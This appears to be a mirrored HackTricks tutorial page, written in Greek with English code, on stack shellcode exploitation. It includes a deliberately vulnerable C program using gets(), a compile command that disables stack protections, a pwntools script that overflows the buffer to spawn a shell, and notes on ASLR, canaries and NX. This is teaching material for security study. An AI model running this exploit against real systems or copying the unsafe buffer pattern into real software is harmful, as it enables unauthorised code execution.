mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
7.3 KiB
Markdown
92 lines
7.3 KiB
Markdown
# Stack Shellcode
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**.
|
||
|
||
### C Example: A Vulnerable Program
|
||
|
||
Let's start with a simple example of a vulnerable C program:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
void vulnerable_function() {
|
||
char buffer[64];
|
||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||
}
|
||
|
||
int main() {
|
||
vulnerable_function();
|
||
printf("Returned safely\n");
|
||
return 0;
|
||
}
|
||
```
|
||
Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`.
|
||
|
||
### Συγκέντρωση
|
||
|
||
Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
|
||
```sh
|
||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||
```
|
||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
|
||
- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
|
||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
|
||
- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
|
||
|
||
### Python Exploit using Pwntools
|
||
|
||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Set up the process and context
|
||
binary_path = './vulnerable'
|
||
p = process(binary_path)
|
||
context.binary = binary_path
|
||
context.arch = 'i386' # Specify the architecture
|
||
|
||
# Generate the shellcode
|
||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||
|
||
# Find the offset to EIP
|
||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||
|
||
# Prepare the payload
|
||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||
payload = nop_slide + shellcode
|
||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||
|
||
# Send the payload
|
||
p.sendline(payload)
|
||
p.interactive()
|
||
```
|
||
Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||
|
||
Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide.
|
||
|
||
## Προστασίες
|
||
|
||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
|
||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
|
||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||
|
||
## Άλλα Παραδείγματα & Αναφορές
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||
- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||
- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||
- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
|
||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||
- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|